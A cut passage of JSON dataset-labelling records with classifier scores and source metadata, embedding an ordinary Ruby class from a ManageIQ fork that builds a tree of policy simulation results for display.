"User Reviews": 7.519019015675679e-05, "NONE": 0.9272702600289185}, "tertiary": {"Academic Writing": 0.0002140234182161892, "Content Listing": 0.0002586613019627146, "Creative Writing": 0.00017580271971497644, "Customer Support Page": 0.00026565374813491684, "Q&A Forum": 9.190379533187972e-05, "Discussion Thread": 7.278235789396176e-05, "Comment Section": 0.00038563326374847784, "Missing Content": 0.00032266728959402075, "Knowledge Article": 0.002209213127119213, "Legal Notices": 0.0003237146165378608, "News Article": 9.843025504974592e-05, "Organizational Announcement": 0.00012700594550206336, "Nonfiction Writing": 0.00012898385467397536, "Organizational About Page": 0.0001605664832194386, "Personal About Page": 9.907981313091956e-05, "Personal Blog": 0.00011771282735835251, "Product Page": 9.316492285776539e-05, "Spam / Ads": 0.00015301093394279322, "Structured Data": 0.013159320939691086, "Technical Writing": 0.018266998307252296, "Transcript / Interview": 0.0001364494887655858, "Tutorial / How-To Guide": 0.03297285444146794, "User Reviews": 6.303965227779923e-05, "NONE": 0.930103326496556}, "structured_records": {"false": 0.7843380805068981, "true": 0.21566191949310184}, "procedural_steps": {"false": 0.6292536957854261, "true": 0.3707463042145739}, "worked_solution": {"false": 0.9994301635337592, "true": 0.0005698364662407169}, "contextual_dialogue": {"false": 0.9999947886487937, "true": 5.211351206294398e-06}, "content_quality": {"-2": 0.00824987666982577, "-1": 0.0630695287315416, "0": 0.28854483038916673, "1": 0.4756102399384913, "2": 0.16452552427097458}, "noise_severity": {"0": 0.6927184817829133, "1": 0.2620096486825134, "2": 0.03476568145184367, "3": 0.00648803281764397, "4": 0.00401815526508575}, "missing_content_severity": {"0": 0.9949075058416209, "1": 0.0025371650458111067, "2": 0.0017972827640392753, "3": 0.0006050891218298502, "4": 0.00015295722669887726}, "factual_density": {"0": 0.002876601243988617, "1": 0.005852474830103582, "2": 0.08604218008561595, "3": 0.4091027730865005, "4": 0.4961259707537914}, "pretraining_utility": {"-2": 0.009598049989311061, "-1": 0.09213200954507189, "0": 0.4088469736648066, "1": 0.42806605722608854, "2": 0.061356909574722014}, "math_density": {"0": 0.995181082393001, "1": 0.004291177899316411, "2": 0.0002503406172229948, "3": 0.00010275746522534628, "4": 0.00017464162523428935}, "code_density": {"0": 0.00037276084789775854, "1": 0.0007122275949956119, "2": 0.015774238253448574, "3": 0.14749897613280694, "4": 0.8356417971708512}, "reasoning_density": {"0": 0.7921943713464035, "1": 0.1242061288163165, "2": 0.07657183842792237, "3": 0.005280826990187729, "4": 0.0017468344191698994}, "education_level": {"none": 0.0010051665972945908, "0": 0.0014088476828337327, "1": 0.004962855496796076, "2": 0.37857704439130335, "3": 0.5253165376161516, "4": 0.08872954821562067}, "creative_writing_quality": {"not_applicable": 0.9990917794413472, "-2": 8.390071376510349e-05, "-1": 0.0001978188345458652, "0": 0.0004765163453440116, "1": 0.00011559244488420033, "2": 3.4392220113607454e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.983639461571937e-05, "Art & Design": 4.511500635556223e-05, "Law & Crime": 4.429777367687079e-05, "Education & Careers": 3.400779380673425e-05, "Entertainment & Media": 2.4416903065430603e-05, "Fashion & Beauty": 2.2496082636006547e-05, "Business, Economics & Finance": 5.1937355508170036e-05, "Food & Dining": 5.5574600917911405e-05, "Games & Gaming": 4.590419650863611e-05, "Electronics & Hardware": 0.000235734896537428, "Health, Healthcare & Wellness": 2.494187955153275e-05, "History & Geography": 3.76199406780839e-05, "Home, Pets & Hobbies": 2.810754287809765e-05, "Industry & Production": 4.505760449855348e-05, "Language, Literature & Philosophy": 3.335654420647939e-05, "Politics & Government": 2.2561418751692867e-05, "Religion & Spirituality": 3.0511365723969748e-05, "Science, Mathematics & Engineering": 0.000125307693092852, "Relationships & Community": 1.772226077728063e-05, "Software Usage & Applications": 0.013122575899162438, "Programming & Software Engineering": 0.9855894892496809, "Sports & Fitness": 4.072741316249731e-05, "Vehicles & Transportation": 1.8512062682243634e-05, "Travel & Tourism": 3.891683286647366e-05, "Other / Uncovered Subject": 0.0001823552656386768, "Unknown / Insufficient Content": 4.291602301971595e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0004597216238313666, "Art & Design": 0.00031384722403639324, "Law & Crime": 0.00047235429695974783, "Education & Careers": 0.00026324295423984893, "Entertainment & Media": 0.0003250284909610802, "Fashion & Beauty": 0.00017417160340868064, "Business, Economics & Finance": 0.0004414931309621412, "Food & Dining": 0.00022247864442973732, "Games & Gaming": 0.00024313324166988287, "Electronics & Hardware": 0.0008254512193260603, "Health, Healthcare & Wellness": 0.000199520926544646, "History & Geography": 0.00023666585215733707, "Home, Pets & Hobbies": 0.0001961442313562566, "Industry & Production": 0.00024415444865137664, "Language, Literature & Philosophy": 0.00016780873575155227, "Politics & Government": 0.00023484885118978233, "Religion & Spirituality": 0.0002309393376895843, "Science, Mathematics & Engineering": 0.0004861466222879903, "Relationships & Community": 0.00014200296312556575, "Software Usage & Applications": 0.11306450342018359, "Programming & Software Engineering": 0.03826832789308088, "Sports & Fitness": 0.00016607782536777281, "Vehicles & Transportation": 9.581254355203824e-05, "Travel & Tourism": 0.00030957432392780587, "Other / Uncovered Subject": 0.00046822674124145664, "NONE": 0.8417483228540675}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 10445, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 10445, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:34:07.547979+00:00", "scoring_key_slot": "primary", "dataset_uid": "950ff36b-1c4f-49f6-b196-df9704a88d5f", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "f63f57df7ce6dc59844af7f6f89b7dfb403f7bcb305779aa4c4f06dc6f587c65", "source_metadata": {"uuid": "950ff36b-1c4f-49f6-b196-df9704a88d5f", "repo_name": "2strange/capistrano-recipes2go", "relative_path": "lib/capistrano/tasks/thin.rake", "category": "TOOL", "algo_rel_score": 0.675312340259552, "quality_score": 5.781097888946533, "source_meta": {"github_metadata": {"branch": "main", "commit_count": 219, "repo_created_at": "2025-02-24T13:30:20.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "7f1af90b63f972c240cab88b75e3da85167e62e2", "size_bytes": 5939, "file_timestamp": 1750924826, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "4cafa70a4500e2603c981bfb1d6a72318cf557d0"}}, "parsed_source_meta": {"github_metadata": {"branch": "main", "commit_count": 219, "repo_created_at": "2025-02-24T13:30:20.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "7f1af90b63f972c240cab88b75e3da85167e62e2", "size_bytes": 5939, "file_timestamp": 1750924826, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "4cafa70a4500e2603c981bfb1d6a72318cf557d0", "url": "https://github.com/2strange/capistrano-recipes2go/blob/4cafa70a4500e2603c981bfb1d6a72318cf557d0/lib/capistrano/tasks/thin.rake"}, "gpt4o_tokens": 1874, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.7250920064092473, "noise_severity": 0.36707773109947567, "missing_content_severity": 0.008558826846174717, "factual_density": 3.3897490372760024, "pretraining_utility": 0.43945176685183857, "math_density": 0.005798698030375597, "code_density": 3.8173248211837185, "reasoning_density": 0.30017962431940404, "education_level": 2.6956943719295188, "creative_writing_quality": -0.1995587693296713}, "score_applicability": {"education_level": 0.9989948334027055, "creative_writing_quality": 0.000908220558652788}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/gonovacloud/manageiq/blob/18d3917e800fdd6f96f9c68d76d860c60868dc93/app/presenters/tree_builder_policy_simulation_results.rb", "id": "ruby-0-da66be58ccd6976f8d6768b54c836e6c", "text": "class TreeBuilderPolicySimulationResults < TreeBuilder\n # exp_build_string method needed\n include ApplicationController::ExpressionHtml\n # Necessary for content_tag, concat and capture\n include ActionView::Context\n include ActionView::Helpers::TagHelper\n include ActionView::Helpers::TextHelper\n include ActionView::Helpers::CaptureHelper\n\n has_kids_for Hash, [:x_get_tree_hash_kids]\n\n def initialize(name, type, sandbox, build = true, root = nil)\n @root = root\n super(name, type, sandbox, build)\n end\n\n private\n\n def tree_init_options(_tree_name)\n {:full_ids => true, :lazy => false}\n end\n\n def set_locals_for_render\n locals = super\n locals.merge!(:autoload => true)\n end\n\n def root_options\n event = MiqEventDefinition.find(@root[:event_value])\n [_(\"Policy Simulation Results for Event [%{description}]\") % {:description => event.description},\n nil,\n \"event-#{event.name}\",\n {:cfmeNoClick => true}]\n end\n\n def node_icon(result)\n case result\n when 'allow' then 'checkmark'\n when 'N/A' then 'na'\n else 'x'\n end\n end\n\n def prefixed_title(prefix, title)\n capture do\n concat content_tag(:strong, \"#{prefix}:\")\n concat ' '\n concat title\n end\n end\n\n def vm_nodes(data)\n data.sort_by! { |a| a[:name].downcase }.map do |node|\n {:id => node[:id],\n :text => prefixed_title(_('VM'), node[:name]),\n :image => 'vm',\n :profiles => node[:profiles],\n :cfmeNoClick => true}\n end\n end\n\n def profile_nodes(data)\n data.sort_by! { |a| a[:description].downcase }.map do |node|\n {:id => node[:id],\n :text => prefixed_title(_('Profile'), node[:description]),\n :image => node_icon(node[:result]),\n :policies => node[:policies],\n :cfmeNoClick => true}\n end\n end\n\n def policy_nodes(data)\n data.sort_by! { |a| a[:description].downcase }.map do |node|\n active_caption = node[:active] ? \"\" : _(\" (Inactive)\")\n {:id => node['id'],\n :text => prefixed_title(\"#{_('Policy')}#{active_caption}\", node[:description]),\n :image => node_icon(node[:result]),\n :conditions => node[:conditions],\n :actions => node[:actions],\n :scope => node[:scope],\n :cfmeNoClick => true}\n end\n end\n\n def action_nodes(data)\n data.map do |node|\n {:id => node[:id],\n :text => prefixed_title(_('Action'), node[:description]),\n :image => node_icon(node[:result]),\n :cfmeNoClick => true}\n end\n end\n\n def condition_nodes(data)\n data.map do |node|\n {:id => node[:id],\n :text => prefixed_title(_('Condition'), node[:description]),\n :image => node_icon(node[:result]),\n :expression => node[:expression],\n :cfmeNoClick => true}\n end\n end\n\n def scope_node(data)\n name, tip = exp_build_string(data)\n {:id => nil,\n :text => prefixed_title(_('Scope'), name),\n :tip => tip.html_safe,\n :image => node_icon(data[:result]),\n :cfmeNoClick => true}\n end\n\n def expression_node(data)\n name, tip = exp_build_string(data)\n image = case data[\"result\"]\n when true\n 'checkmark'\n when false\n 'x'\n else\n 'na'\n end\n {:id => nil,\n :text => prefixed_title(_('Expression'), name),\n :tip => tip.html_safe,\n :image => image,\n :cfmeNoClick => true}\n end\n\n def x_get_tree_roots(count_only = false, _options = nil)\n count_only_or_objects(count_only, vm_nodes(@root[:results]))\n end\n\n def x_get_tree_hash_kids(parent, count_only)\n kids = []\n kids.concat(profile_nodes(parent[:profiles])) if parent[:profiles].present?\n kids.concat(policy_nodes(parent[:policies])) if parent[:policies].present?\n kids.concat(condition_nodes(parent[:conditions])) if parent[:conditions].present?\n kids.push(scope_node(parent[:scope])) if parent[:scope].present?\n kids.push(expression_node(parent[:expression])) if parent[:expression].present?\n kids.concat(action_nodes(parent[:actions])) if parent[:actions].present?\n count_only_or_objects(count_only, kids)\n end\nend\n", "text_preview": "class TreeBuilderPolicySimulationResults < TreeBuilder # exp_build_string method needed include ApplicationController::ExpressionHtml # Necessary for content_tag, concat and capture include ActionView::Context include ActionView::Helpers::T", "input_sha256": "e4307b8ca3012baf076c09ad633a2e1f2f56e5d255b5913e999be27f0b5e2613", "text_sha256": "da66be58ccd6976f8d6768b54c836e6c8ab305edd9378f3cebee883ffdeadfb1", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16075, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 3, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.010809556847456, "noise_severity": 0.009750689508469945, "missing_content_severity": 0.24394056956395463, "factual_density": 3.493891499559209, "pretraining_utility": 0.40333178679989307, "math_density": 0.010631295921319117, "code_density": 3.9245095337443034, "reasoning_density": 0.1779816353808932, "education_level": 2.7053860470293687, "creative_writing_quality": -0.252905751316409}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "3", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.017653959449183465, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9980730450366132, "secondary": 0.9697893123006299, "tertiary": 0.9882108352041257, "structured_records": 0.047471174818430946, "procedural_steps": 0.000813455760509507, "worked_solution": 0.0006739293739108398, "contextual_dialogue": 5.521416199630419e-06, "content_quality": 0.554568261600598, "noise_severity": 0.9918744254096084, "missing_content_severity": 0.7967161920300379, "factual_density": 0.578242916299341, "pretraining_utility": 0.47888720102623217, "math_density": 0.991140586732234, "code_density": 0.9370912781202528, "reasoning_density": 0.8516819705159223, "education_level": 0.4305387597038755, "creative_writing_quality": 0.9995897961508668, "primary_topic": 0.9938406559914713, "secondary_topic": 0.9596450893191381}, "probability_margin": {"primary": 0.9973800431125185, "secondary": 0.9587439327139362, "tertiary": 0.9849079632524076, "education_level": 0.15004031721326772, "creative_writing_quality": 0.9994956233908016, "primary_topic": 0.9921828316419606, "secondary_topic": 0.943189752583095}, "raw_probabilities": {"primary": {"Academic Writing": 2.5463903634838648e-05, "Content Listing": 1.8183650066668398e-05, "Creative Writing": 8.172336647136997e-06, "Customer Support Page": 6.373687772313692e-06, "Q&A Forum": 7.150639857030165e-06, "Discussion Thread": 4.414116164396827e-06, "Comment Section": 6.753800354096124e-06, "Missing Content": 3.302224908577039e-05, "Knowledge Article": 5.162266396087265e-05, "Legal Notices": 1.8594210436985063e-05, "News Article": 2.5436900896665373e-06, "Organizational Announcement": 6.966972991950729e-06, "Nonfiction Writing": 5.108073438140027e-06, "Organizational About Page": 6.734248295316431e-06, "Personal About Page": 4.616782475047003e-06, "Personal Blog": 4.355913667306638e-06, "Product Page": 4.8289795028507966e-06, "Spam / Ads": 5.647741127415081e-06, "Structured Data": 0.0007732917142357483, "Technical Writing": 0.9981533348267543, "Transcript / Interview": 7.985506963480585e-06, "Tutorial / How-To Guide": 8.744777979214163e-05, "User Reviews": 3.889541493107864e-06, "Other / Unknown": 0.0007534969711933794}, "secondary": {"Academic Writing": 0.00014751688279879567, "Content Listing": 0.00015118691343863586, "Creative Writing": 0.00010204479449616204, "Customer Support Page": 5.826201617625626e-05, "Q&A Forum": 4.779893372117949e-05, "Discussion Thread": 4.413641678901255e-05, "Comment Section": 0.00010186088437090999, "Missing Content": 0.01230415824083413, "Knowledge Article": 0.0003286476286706798, "Legal Notices": 0.00015293229891916933, "News Article": 6.934153523923923e-05, "Organizational Announcement": 6.485975178671064e-05, "Nonfiction Writing": 5.829875489005643e-05, "Organizational About Page": 7.33150799838316e-05, "Personal About Page": 4.7385388828889504e-05, "Personal Blog": 4.785266257277608e-05, "Product Page": 3.7040390032783487e-05, "Spam / Ads": 6.970719876782326e-05, "Structured Data": 0.007218783619015203, "Technical Writing": 0.0074909577343703114, "Transcript / Interview": 7.011991435387163e-05, "Tutorial / How-To Guide": 0.00023224733705690768, "User Reviews": 3.345466811636605e-05, "NONE": 0.9710480909547703}, "tertiary": {"Academic Writing": 5.62536592040868e-05, "Content Listing": 9.249433483706721e-05, "Creative Writing": 4.355045555510724e-05, "Customer Support Page": 2.965672976476817e-05, "Q&A Forum": 2.086022604092508e-05, "Discussion Thread": 2.00990191311479e-05, "Comment Section": 5.323945397583783e-05, "Missing Content": 0.003794087151546191, "Knowledge Article": 0.00018696053113952235, "Legal Notices": 0.0001041060577353617, "News Article": 3.151036482225546e-05, "Organizational Announcement": 2.9970650655902068e-05, "Nonfiction Writing": 3.08226540436815e-05, "Organizational About Page": 4.636540865843846e-05, "Personal About Page": 1.9990163269428257e-05, "Personal Blog": 2.5098605336172294e-05, "Product Page": 2.0087176847710147e-05, "Spam / Ads": 3.636880787417149e-05, "Structured Data": 0.00315164827335231, "Technical Writing": 0.0032925646947268095, "Transcript / Interview": 3.049567897527413e-05, "Tutorial / How-To Guide": 0.0001659189496643365, "User Reviews": 1.5800548889714863e-05, "NONE": 0.9887020504039538}, "structured_records": {"false": 0.952528825181569, "true": 0.047471174818430946}, "procedural_steps": {"false": 0.9991865442394905, "true": 0.000813455760509507}, "worked_solution": {"false": 0.9993260706260891, "true": 0.0006739293739108398}, "contextual_dialogue": {"false": 0.9999944785838004, "true": 5.521416199630419e-06}, "content_quality": {"-2": 0.00472084631368065, "-1": 0.018959372015745872, "0": 0.20977298164337949, "1": 0.4938829785638249, "2": 0.2726638214633692}, "noise_severity": {"0": 0.9915283594381401, "1": 0.0076587443282209134, "2": 0.0004844206507548209, "3": 0.0001907984527977152, "4": 0.0001376771300865615}, "missing_content_severity": {"0": 0.7778934982957632, "1": 0.20655023119653806, "2": 0.010825781511689617, "3": 0.0031831806399988697, "4": 0.0015473083560101728}, "factual_density": {"0": 0.003478628031570451, "1": 0.00548643545526369, "2": 0.05706092228707194, "3": 0.36161283737457406, "4": 0.5723611768515199}, "pretraining_utility": {"-2": 0.008846770914123512, "-1": 0.09330824415606707, "0": 0.4438998354795325, "1": 0.39355672611634673, "2": 0.06038842333393022}, "math_density": {"0": 0.9937818391024168, "1": 0.004320211487143191, "2": 0.0004869904731039945, "3": 0.00030673226137592296, "4": 0.0011042266759600419}, "code_density": {"0": 0.0002137150399928217, "1": 0.0003673036646101227, "2": 0.006745521911934449, "3": 0.060042651278025994, "4": 0.9326308081054366}, "reasoning_density": {"0": 0.8799659780552174, "1": 0.07155679433518981, "2": 0.041415909653023004, "3": 0.004652250086622174, "4": 0.0024090678699477176}, "education_level": {"none": 0.0013088192479928594, "0": 0.0012142169191827988, "1": 0.0039321349334596415, "2": 0.37540864920662853, "3": 0.5254489664198962, "4": 0.0926872132728399}, "creative_writing_quality": {"not_applicable": 0.9996581634590557, "-2": 4.7324823401353796e-05, "-1": 6.967867956895496e-05, "0": 0.00016254006825414046, "1": 4.671004028308911e-05, "2": 1.558292943681915e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.205240221543994e-05, "Art & Design": 8.172138649321523e-05, "Law & Crime": 0.0002679868216906747, "Education & Careers": 3.0501455155887604e-05, "Entertainment & Media": 2.4400442100913004e-05, "Fashion & Beauty": 1.8775386957025117e-05, "Business, Economics & Finance": 0.0010065605829011732, "Food & Dining": 2.512814983490638e-05, "Games & Gaming": 5.412710663489266e-05, "Electronics & Hardware": 0.00014386167321339197, "Health, Healthcare & Wellness": 3.252562367850358e-05, "History & Geography": 2.7638949182607576e-05, "Home, Pets & Hobbies": 2.1861153891876943e-05, "Industry & Production": 5.721658024535659e-05, "Language, Literature & Philosophy": 3.451848709728018e-05, "Politics & Government": 0.0018947221959925444, "Religion & Spirituality": 4.3737800988224544e-05, "Science, Mathematics & Engineering": 0.00025430306552132057, "Relationships & Community": 1.7551462719594688e-05, "Software Usage & Applications": 0.0012238380289763895, "Programming & Software Engineering": 0.9940775538379532, "Sports & Fitness": 4.1846773750417123e-05, "Vehicles & Transportation": 2.543989930485926e-05, "Travel & Tourism": 3.744708281429178e-05, "Other / Uncovered Subject": 0.0004340763520699623, "Unknown / Insufficient Content": 9.06072986161077e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0002574698282966354, "Art & Design": 0.0006342981518231142, "Law & Crime": 0.0018016062549595, "Education & Careers": 0.00016238348838309348, "Entertainment & Media": 0.00019130184909404473, "Fashion & Beauty": 0.00011540768636871238, "Business, Economics & Finance": 0.0026688349804313556, "Food & Dining": 0.00010298326321879337, "Games & Gaming": 0.00025255987112227226, "Electronics & Hardware": 0.0005415744246976765, "Health, Healthcare & Wellness": 0.00014167243710294254, "History & Geography": 0.00012235759733621217, "Home, Pets & Hobbies": 9.237326494459463e-05, "Industry & Production": 0.00012348130956543009, "Language, Literature & Philosophy": 0.00010600620423355387, "Politics & Government": 0.0031240489770740665, "Religion & Spirituality": 0.000207375863544114, "Science, Mathematics & Engineering": 0.0004985776105062557, "Relationships & Community": 7.872695252025335e-05, "Software Usage & Applications": 0.008648361530051564, "Programming & Software Engineering": 0.018007448685306963, "Sports & Fitness": 0.00012058412065780388, "Vehicles & Transportation": 7.213441470353697e-05, "Travel & Tourism": 0.00015224897310672482, "Other / Uncovered Subject": 0.0005789809925488123, "NONE": 0.961197201268402}}, "probabilities": {"primary": {"Academic Writing": 2.546390363483865e-05, "Content Listing": 1.81836500666684e-05, "Creative Writing": 8.172336647136998e-06, "Customer Support Page": 6.3736877723136925e-06, "Q&A Forum": 7.150639857030166e-06, "Discussion Thread": 4.414116164396828e-06, "Comment Section": 6.7538003540961245e-06, "Missing Content": 3.30222490857704e-05, "Knowledge Article": 5.162266396087266e-05, "Legal Notices": 1.8594210436985066e-05, "News Article": 2.5436900896665377e-06, "Organizational Announcement": 6.96697299195073e-06, "Nonfiction Writing": 5.108073438140028e-06, "Organizational About Page": 6.734248295316432e-06, "Personal About Page": 4.616782475047004e-06, "Personal Blog": 4.3559136673066384e-06, "Product Page": 4.828979502850797e-06, "Spam / Ads": 5.647741127415082e-06, "Structured Data": 0.0007732917142357484, "Technical Writing": 0.9981533348267544, "Transcript / Interview": 7.985506963480587e-06, "Tutorial / How-To Guide": 8.744777979214164e-05, "User Reviews": 3.889541493107865e-06, "Other / Unknown": 0.0007534969711933795}, "secondary": {"Academic Writing": 0.00014751688279879567, "Content Listing": 0.00015118691343863586, "Creative Writing": 0.00010204479449616204, "Customer Support Page": 5.826201617625626e-05, "Q&A Forum": 4.779893372117949e-05, "Discussion Thread": 4.413641678901255e-05, "Comment Section": 0.00010186088437090999, "Missing Content": 0.01230415824083413, "Knowledge Article": 0.0003286476286706798, "Legal Notices": 0.00015293229891916933, "News Article": 6.934153523923923e-05, "Organizational Announcement": 6.485975178671064e-05, "Nonfiction Writing": 5.829875489005643e-05, "Organizational About Page": 7.33150799838316e-05, "Personal About Page": 4.7385388828889504e-05, "Personal Blog": 4.785266257277608e-05, "Product Page": 3.7040390032783487e-05, "Spam / Ads": 6.970719876782326e-05, "Structured Data": 0.007218783619015203, "Technical Writing": 0.0074909577343703114, "Transcript / Interview": 7.011991435387163e-05, "Tutorial / How-To Guide": 0.00023224733705690768, "User Reviews": 3.345466811636605e-05, "NONE": 0.9710480909547703}, "tertiary": {"Academic Writing": 5.62536592040868e-05, "Content Listing": 9.249433483706721e-05, "Creative Writing": 4.355045555510724e-05, "Customer Support Page": 2.965672976476817e-05, "Q&A Forum": 2.086022604092508e-05, "Discussion Thread": 2.00990191311479e-05, "Comment Section": 5.323945397583783e-05, "Missing Content": 0.003794087151546191, "Knowledge Article": 0.00018696053113952235, "Legal Notices": 0.0001041060577353617, "News Article": 3.151036482225546e-05, "Organizational Announcement": 2.9970650655902068e-05, "Nonfiction Writing": 3.08226540436815e-05, "Organizational About Page": 4.636540865843846e-05, "Personal About Page": 1.9990163269428257e-05, "Personal Blog": 2.5098605336172294e-05, "Product Page": 2.0087176847710147e-05, "Spam / Ads": 3.636880787417149e-05, "Structured Data": 0.00315164827335231, "Technical Writing": 0.0032925646947268095, "Transcript / Interview": 3.049567897527413e-05, "Tutorial / How-To Guide": 0.0001659189496643365, "User Reviews": 1.5800548889714863e-05, "NONE": 0.9887020504039538}, "structured_records": {"false": 0.952528825181569, "true": 0.047471174818430946}, "procedural_steps": {"false": 0.9991865442394905, "true": 0.000813455760509507}, "worked_solution": {"false": 0.9993260706260891, "true": 0.0006739293739108398}, "contextual_dialogue": {"false": 0.9999944785838004, "true": 5.521416199630419e-06}, "content_quality": {"-2": 0.004720846313680649, "-1": 0.01895937201574587, "0": 0.20977298164337943, "1": 0.4938829785638248, "2": 0.27266382146336915}, "noise_severity": {"0": 0.9915283594381399, "1": 0.007658744328220912, "2": 0.0004844206507548208, "3": 0.00019079845279771515, "4": 0.00013767713008656148}, "missing_content_severity": {"0": 0.7778934982957633, "1": 0.2065502311965381, "2": 0.010825781511689619, "3": 0.00318318063999887, "4": 0.001547308356010173}, "factual_density": {"0": 0.003478628031570451, "1": 0.00548643545526369, "2": 0.05706092228707194, "3": 0.36161283737457406, "4": 0.5723611768515199}, "pretraining_utility": {"-2": 0.008846770914123512, "-1": 0.09330824415606707, "0": 0.4438998354795325, "1": 0.39355672611634673, "2": 0.06038842333393022}, "math_density": {"0": 0.9937818391024168, "1": 0.004320211487143191, "2": 0.0004869904731039945, "3": 0.00030673226137592296, "4": 0.0011042266759600419}, "code_density": {"0": 0.0002137150399928217, "1": 0.0003673036646101227, "2": 0.006745521911934449, "3": 0.060042651278025994, "4": 0.9326308081054366}, "reasoning_density": {"0": 0.8799659780552174, "1": 0.07155679433518981, "2": 0.041415909653023004, "3": 0.004652250086622174, "4": 0.0024090678699477176}, "education_level": {"none": 0.0013088192479928594, "0": 0.0012142169191827988, "1": 0.0039321349334596415, "2": 0.37540864920662853, "3": 0.5254489664198962, "4": 0.0926872132728399}, "creative_writing_quality": {"not_applicable": 0.9996581634590557, "-2": 4.7324823401353796e-05, "-1": 6.967867956895496e-05, "0": 0.00016254006825414046, "1": 4.671004028308911e-05, "2": 1.558292943681915e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.205240221543994e-05, "Art & Design": 8.172138649321523e-05, "Law & Crime": 0.0002679868216906747, "Education & Careers": 3.0501455155887604e-05, "Entertainment & Media": 2.4400442100913004e-05, "Fashion & Beauty": 1.8775386957025117e-05, "Business, Economics & Finance": 0.0010065605829011732, "Food & Dining": 2.512814983490638e-05, "Games & Gaming": 5.412710663489266e-05, "Electronics & Hardware": 0.00014386167321339197, "Health, Healthcare & Wellness": 3.252562367850358e-05, "History & Geography": 2.7638949182607576e-05, "Home, Pets & Hobbies": 